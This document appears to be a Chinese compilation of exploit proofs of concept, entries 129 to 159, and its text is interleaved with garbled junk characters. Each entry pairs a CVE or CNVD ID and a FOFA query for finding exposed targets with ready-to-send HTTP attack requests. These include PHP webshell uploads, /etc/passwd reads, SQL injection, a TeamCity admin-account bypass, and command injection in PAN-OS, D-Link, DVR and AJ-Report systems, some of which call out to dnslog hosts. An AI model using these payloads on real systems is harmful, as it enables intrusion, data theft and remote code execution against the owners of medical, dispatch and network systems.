  Y7 x/ @, V. _- @) x0 M
129. Adobe ColdFusion 任意文件读取
) _) Y5 j( v8 H, k' r# [& y9 @CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
, }* x) ?+ |4 [5 ^8 f- r6 a( E$ fGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
$ n' ]/ n. E4 Y$ LAccept: */*
; c$ S/ b0 f# t# xAccept-Encoding: gzip, deflate
1 q" a3 c+ F( q! A9 WConnection: close

7 L, A) u0 y+ h+ t
第二步，读取/etc/passwd文件
$ k+ s, z9 t- z# }GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
/ u) h  j1 }$ r6 {1 G9 |9 X1 RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
) n  `" N" P9 A  s$ v6 GAccept: */*
8 g3 @  U$ l4 o' D0 p6 sAccept-Encoding: gzip, deflate
& R% O, j- Q- f6 L% \, R0 ]# eConnection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9

1 v+ x8 D. R8 j* m# s4 S; }! e
130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
4 o, V- D- n; F" c- ?0 A+ HAccept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
8 x  j1 m0 B) u: }User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
9 h) K+ e2 R7 r+ I* M2 SContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
+ m. s/ R. s$ K: _Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
8 x" d3 D' r0 Q/ ZConnection: close
5 p& ^# [! d+ q  F, M( U
/ q0 v& X' L1 C# q  ~9 |8 t------WebKitFormBoundary3OCVBiwBVsNuB2kR
5 D! ~0 R3 a$ J. E9 s3 [0 H. ^6 oContent-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
- k. r: _/ h8 t/ k
<?php phpinfo();@eval($_POST['sec']);?>
, I2 a* G# I- i" T1 n' \( z------WebKitFormBoundary3OCVBiwBVsNuB2kR--

/ ?2 ]; x7 t! l/ u
. Y& Z8 f3 E) d7 W& J5 o131. Mini-Tmall <=20231017 SQL注入
& ]/ g7 d8 _2 j0 SFOFA：icon_hash="-2087517259"
) L8 ?7 c% E& a5 t6 \后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
' S) s; V$ ~. l- rCVE-2024-27198
FOFA：body="Log in to TeamCity"
0 ?" S6 J) P% G. i# ]* W" PPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
$ Z& |1 X0 u* O4 l- cHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
& o$ s2 S& i; _. L9 ~! B( e- N- bContent-Type: application/json
0 ~. N. |& h% r/ I( nAccept-Encoding: gzip, deflate
2 S+ a) e) K* z4 }* N
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


CVE-2024-27199
/res/../admin/diagnostic.jsp
* \  i1 {$ k' s7 x) _7 r/.well-known/acme-challenge/../../admin/diagnostic.jsp
2 ~! r% v7 ]0 P- ~/update/../admin/diagnostic.jsp


CVE-2024-27198-RCE.py

2 J3 x: @7 e, \1 I' q133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
7 w* r  {+ X3 x8 H9 TContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
" P9 u6 Y) i7 O9 ?
& j& N% [, w8 R

* I/ O4 A" u$ b/ G9 I134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
) |% a% o7 A0 PNetentsec NS-ASG Application Security Gateway 6.3版本
" w; p# {9 F# r% `, C  [FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 m' U. r- X2 n+ b9 q9 D1 N' r: FAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
$ R" K5 ~- U: M/ @9 e8 eSec-Fetch-Mode: cors
1 g* Y1 ~) f0 c2 J. l1 t# z  x! kSec-Fetch-Site: same-origin
Te: trailers
! |. L+ j+ U) C' NConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
' k& T3 r) v7 S+ p! H
2 B4 a5 I" t- o% }) ^& c& vjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
2 N6 h. |( N& `2 f5 aNetentsec NS-ASG Application Security Gateway 6.3版本
* n/ {" @5 X. K8 S1 N; U( mFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
0 E" K/ }5 _4 e2 Z  K' y6 ]$ Y3 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 m& ~3 G  a4 n0 M& D3 v# `Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


/ a, ?$ H) I! I136. NextChat cors SSRF
4 q# x4 I: ?2 u7 zCVE-2023-49785
- P5 u- j; I0 J8 z8 e' Q  I9 O* `- ]FOFA：title="NextChat"
' \3 E7 I7 O7 i0 @( W+ uGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
2 y$ M) c; `: B/ jUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
/ ]9 @# L4 W/ z# S' B3 D' GAccept-Language: en
Accept-Encoding: gzip

/ g, |1 X' N- q7 C0 k, a9 s
137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
9 j1 ?5 z( L7 x5 p1 h" r! O6 NFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
" m3 ~3 y9 |/ lHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
& z2 j' A5 v$ ]* f7 T7 k2 BConnection: close
) ~& i! Y' ]0 C& YCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1


; Y& t7 X+ |* H( g! ?. u( \138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
- g2 M$ j1 n$ _/ I- f1 `& LCVE-2024-2621
" P9 \# z3 r6 t9 VFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
: H0 F4 c& P1 X" P% @0 ~% ?# vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
; t' Z+ D! @8 EConnection: close
Upgrade-Insecure-Requests: 1
) y7 r) x0 V9 K1 R, }8 N; C

: f0 B# [2 }9 w- y/ c2 D139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
1 q2 R: X7 T, g3 l. ?FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
/ w1 f. U5 B* a3 H' q4 z/ \5 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ F: [7 _" z5 o' j3 e5 xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
! Y% `& W6 ^3 }* B* R  d: lCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
% V$ B, m! c; bUpgrade-Insecure-Requests: 1
7 a. h- ~. Y" n/ f7 o( y

140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
, D8 L) q+ g9 E9 x$ CCVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* u/ s3 p% N2 {/ z3 EAccept-Encoding: gzip, deflate, br
1 ]& ~. ~; g. D( g7 c% E  A4 WConnection: close
+ X8 u9 ?$ ]( b* C# q1 n( VCookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
8 W% y5 G" M# H9 I4 w$ S% N7 s

1 h3 `; s) b0 L- y141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
) s+ e# g( k6 }& i* NFOFA：body="指挥调度管理平台"
& v5 m2 |8 u4 [! K8 R* ZPOST /app/ext/ajax_users.php HTTP/1.1
8 E* O, i% @4 |1 ^+ ^Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
: u4 G' d% b+ M& ~8 H: QContent-Type: application/x-www-form-urlencoded


7 o- g1 [$ ^3 y0 ~7 k- ^dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
  I4 Z3 J7 \4 G, S: d: D  }. ]

/ U; e* I9 |/ E' _- ^! k142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
( ^7 G% }8 J# @' p! UFOFA：body="/808gps/"
, y9 K; T! `: w6 h- V; X0 A4 Qadmin/admin
" S, A5 X, k. O8 f4 L. I$ f143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
5 ?$ b6 R! j" L% u0 B4 YPAYLOAD

144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
$ z" G% H$ ]. V$ Y9 xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
; m  y8 t, m2 T9 J3 @/ J- b# FAccept: */*
, C& d' @( K4 `% @. j. F$ TAccept-Language: en
Accept-Encoding: gzip
9 Y' c+ z7 D% r- J6 g

. Y. j' c# ]6 G5 z% F145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
9 t! o) Y9 h) L- S$ i: F; K  VFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
( l% P- z& k% d. Q: HHost: 192.168.30.112:1005
) s+ J/ d9 \# T2 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
* S* e  |) Q6 p; D( oConnection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
- o) S8 L$ q. F# _! r  BAccept-Encoding: gzip
5 z9 b* i- \$ Z6 V% q* n$ }& H

+ m7 t6 _2 Z: S, p( n' E/ N146. MajorDoMo thumb.php 未授权远程代码执行
  r/ v4 d7 h5 |1 m8 t- T0 KCNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
% Q) S+ l8 E0 f; f* ]5 A- {# L% QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
5 m* R; S+ T% G, u# A! N2 MAccept-Charset: utf-8
5 I) n8 S% V; @3 jAccept-Encoding: gzip, deflate
Connection: close
( E) E+ A2 c- E! G( Z. Q6 q7 A2 [

147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
3 n$ s0 _: @* t( h/ o, U( R6 vHost: 127.0.0.1:81
Cache-Control: max-age=0
/ A& A% L- F' T1 w2 p: k. P  rConnection: close


$ h! u& k' Z2 S3 E  I0 I, p8 i148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
. [0 A& E- i" Z5 k7 M* Y4 w' z1 zPAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
$ K& u( L+ m8 R! R. q0 gFOFA：title="AJ-Report"

! ?* b- f; G# ?* o+ CPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
9 E* ?+ p, u. ]! z+ `. WHost: x.x.x.x
; r% P$ p! F* TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
* p6 T- w, h, t' l, i$ a8 kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
) r4 R1 o$ S% nConnection: close
+ L9 g9 o3 x- L' V4 H5 j
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
! D" J  S7 y- C7 w" FPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
/ s" f' B3 ~  u0 b  _! ?Host: x.x.x.x
/ a. c) I& n1 g' }7 [# _  hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
, t7 Z2 b/ u) r5 gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
0 c  h, F, ]- l5 }5 |+ w& \: NAccept-Language: zh-CN,zh;q=0.9
, d! A, ?: M3 |2 K. I' p+ `) SContent-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339

5 n/ p/ U3 G5 W* f& |' ?2 U& }: `1 R{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
0 S! `& y1 z# f

6 d4 u% l2 w: i6 N  Y151. AJ-Report 1.4.1 pageList sql注入
, S5 r7 I/ @2 A  }FOFA：title="AJ-Report"
; w5 h+ x( f/ U) o: T4 c9 \GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
4 f# d6 n2 Z* P) g6 pHost: x.x.x.x
# A2 `, ]$ v! R$ T4 s' R8 |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 _. Q) r+ I7 _, G8 NConnection: close
! k$ c: \4 C4 g7 XAccept-Encoding: gzip
% _7 p# g3 q& q2 b) y4 ^
, h( W) m' R$ e  f# w; B( e* Q' X
+ Y. b# ^6 q" l# @& w! N: A. S, j4 x152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
, k) e  m  F% K( R0 ILoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
, e5 V1 j" c; TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
8 A  f1 @% B" Z3 q1 |Accept: */*
Accept-Language: en
3 M9 P0 h* g$ p2 {8 m' Q% C8 UAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip


153. gradio任意文件读取
% V- G- R9 L2 ?, mCVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
5 E' R2 k) r# ]! _/ g: e, H. Y+ Thttp://x.x.x.x/config
& V. c$ T; t1 o0 n/ [% N! l/ H

第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
/ Q; J; k# y+ S: S/ E" }& e4 d$ \Connection: close
+ Q( C4 O4 i# LContent-Length: 115
Content-Type: application/json
Accept-Encoding: gzip
1 r9 C  q! U0 ^; q
( _  U+ ^& U0 O& N, Y- ^" A{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

% W3 D7 j! J6 z& A
- S) T/ |4 I& ~' E7 N* E+ G第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


4 B/ [1 a9 n; Z$ i154. 天维尔消防救援作战调度平台 SQL注入
2 L3 b6 i3 t2 g. i+ J* d3 W; B7 p+ NCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
; F# O  T: z2 r; h: n4 p' aPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
! T5 ], W# \! v% p9 B6 b+ m* ~( yHost: x.x.x.x
Content-Length: 106
& L: J& [- k7 y! ?' M: U! BCache-Control: max-age=0
, E& d! j* V, L, p1 B3 X! jUpgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
8 |! r. p9 O; q4 FContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
% i5 x! E5 ?3 x3 ~4 _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 T: M, ]/ S4 I# n& x! x4 \  ~3 oReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
6 g1 I$ l  d- p/ |4 `/ R0 bConnection: close
7 ?9 ?* ^) {+ f3 [% _& r4 o/ L
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

: l+ F: O+ B# `: ?% ^; D4 b' s
155. 六零导航页 file.php 任意文件上传
5 ?: o3 V" v$ m% T0 GCVE-2024-34982
& o0 R' R0 b2 p* }* ]FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
0 x- ^8 t7 s3 [# a/ B1 O# e  CConnection: close
Content-Length: 232
4 _4 K- `) d$ n3 g' J- P+ BAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 Y, C( X6 x* f; jContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
' [$ j' G' M7 b4 n& T! GX-Requested-With: XMLHttpRequest

-----------------------------qttl7vemrsold314zg0f
5 g! O4 \' u' f9 MContent-Disposition: form-data; name="file"; filename="test.php"
" V9 `; d. S3 I! T5 `Content-Type: image/png

$ @6 ~; W& d  A9 u. F, I( S  i<?php phpinfo();unlink(__FILE__);?>
$ ?; Q- `; ~0 i' q0 _6 J-----------------------------qttl7vemrsold314zg0f--
+ Y2 z( P, C, n" T3 n) {
" Q! M/ H# L5 c! B6 B: R3 R
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
; R2 z# v2 N/ t4 D; [$ r+ d2 H8 Q
/ Q* j7 v% p! ~. ~  k156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
# U: k6 X, ?1 }3 M' v9 e

: S+ x. I$ H. A7 {0 MPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
8 z! \- L8 q1 b2 x' @) ^5 tContent-Length: 0
Cookie: uid=1
Accept-Encoding: gzip
: N' J% e! I; c; z
+ ~. i' L% S. V1 u
157. 美特CRM upload.jsp 任意文件上传
) K/ m$ G) x$ p: Q2 y1 i! n# t% e) OCNVD-2023-06971
  l+ m1 V, x* J. Z: ]  oFOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
$ j& s; @% t) CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
% J1 i  S& L& s" h+ |# o! |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 R2 w" v! T6 j' I; VAccept-Encoding: gzip, deflate
: N3 m- ^# o8 a5 Z9 o) M& [Accept-Language: zh-CN,zh;q=0.9
- W8 `( t3 Z6 H" tCache-Control: max-age=0
Connection: close
6 @* p% K! b2 RContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
* o& h$ H' g: }3 h" N
------WebKitFormBoundary1imovELzPsfzp5dN
" O0 F" w5 ~5 |Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

; B0 m: p7 {9 pnyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
! P2 p& b6 K6 DContent-Disposition: form-data; name="key"
4 T- |6 y! h! R/ F& {4 `7 n! c# P
- f& L# N2 T. v8 \$ Mnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

null
------WebKitFormBoundary1imovELzPsfzp5dN
" I3 ~: ?& u4 y* N' s" g) QContent-Disposition: form-data; name="field"
# I' _  w7 u4 D2 F7 S& y: x+ V" ^" M- h" @
& t- S; X4 a/ Unull
------WebKitFormBoundary1imovELzPsfzp5dN
/ Q+ ?7 c7 C$ ^! t6 @2 gContent-Disposition: form-data; name="filetitile"
% N% u, l6 k5 [$ \9 Q' E1 u
1 S! |+ E* p! m4 D" e8 ^. `$ `# e3 j' znull
& F1 E; X6 U" Q% Q4 L& _. S------WebKitFormBoundary1imovELzPsfzp5dN
% Y+ `. J' B' eContent-Disposition: form-data; name="filefolder"

2 c- R: B0 l# o! dnull
------WebKitFormBoundary1imovELzPsfzp5dN--

  `# q0 j3 S5 o( |* @4 D# w0 S4 B
http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

6 u5 a$ _! r  C158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
; O0 k2 M7 T$ {, y1 i- n" NFOFA："Generator: Masa CMS"
# f; i" j" k9 O3 r* jPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
4 `" T6 k4 }9 X5 PContent-Type: application/x-www-form-urlencoded
# Y4 c7 R8 v# z4 ], Z2 x
object=displayregion&contenthistid=x\'&previewid=1
, U" s# {. S9 Y9 O6 O( x
1 [0 Q* y) ^4 U' p0 y  N
: M: @) Q' x. t159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
! _$ n: R) _# e' jContent-Length: 1080
5 Q1 c& _6 A( E& b6 R0 A: n1 UAccept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
( i& m8 c- o7 }( @" JSoapaction: "http://rainier/jobUpload"
, o! n" Q3 c) x/ y
" k! s" g- {% {! M, y  S: b1 K<?xml version="1.0" encoding="utf-8"?>
